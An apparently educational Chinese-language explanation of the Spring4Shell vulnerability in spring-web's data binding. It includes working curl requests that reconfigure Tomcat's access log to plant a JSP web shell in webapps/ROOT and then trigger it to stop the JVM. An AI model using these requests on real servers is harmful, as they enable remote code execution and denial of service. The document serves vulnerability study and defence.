在撰写本文时,spring-web 的请求参数绑定(WebDataBinder)默认允许访问对象的 getClass() 方法。这是一个 JVM 内部的特定实现细节(依我愚见,不应暴露)。因此,其特性可能会随着 JVM 的未来版本而改变和扩展。这使得维护者持续承担着负担,需要试图预测恶意行为者可能以何种创造性的方式利用这种强大的访问权限来作恶。
在这个特定的 CVE 中,原因是 Java 9 引入的 Class::getModule() 方法。它打开了对类加载器(class-loader)的无防护访问。
在下面的示例中,攻击者利用它重新配置了 Tomcat 的访问日志记录器。该记录器通常会将服务器收到的每个请求的简要信息写入日志文件。属性 pattern 定义写入哪些信息,directory 定义日志文件应放置的位置,prefix、fileDateFormat 和 suffix 定义文件名应如何组成。
以下请求将针对我们存在漏洞的 poc-0 应用程序的 POST 端点。它会重新配置日志记录器,为每个处理的请求写入一行 <%{e}iSystem.exit(0);%{e}i>,写入位置是 webapps/ROOT 目录下的 f.jsp 文件,其中 %{e}i 是请求头 e 的值的占位符。
这是对日志记录器的一种出人意料/创造性的利用,其余部分则是标准 JSP 和 Tomcat 应用服务器的实际运作。
curl -v -H 'e:%' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.pattern=<%25%7be%7diSystem.exit(0);%25%7be%7di>' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.prefix=f' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp' \
http://container-ip:8080/poc-0/
片刻之后,就会生成一个 f.jsp 文件,Tomcat 会将其拾取、编译并暴露以处理流量。以下请求会调用它,从而执行嵌入的 System.exit(0); 代码并停止其所运行的 JVM。
curl -v http://container-ip:8080/f.jsp
这是一个 DoS 的示例,但 System.exit(0); 是普通的 Java 代码,因此攻击者可以做更多事情。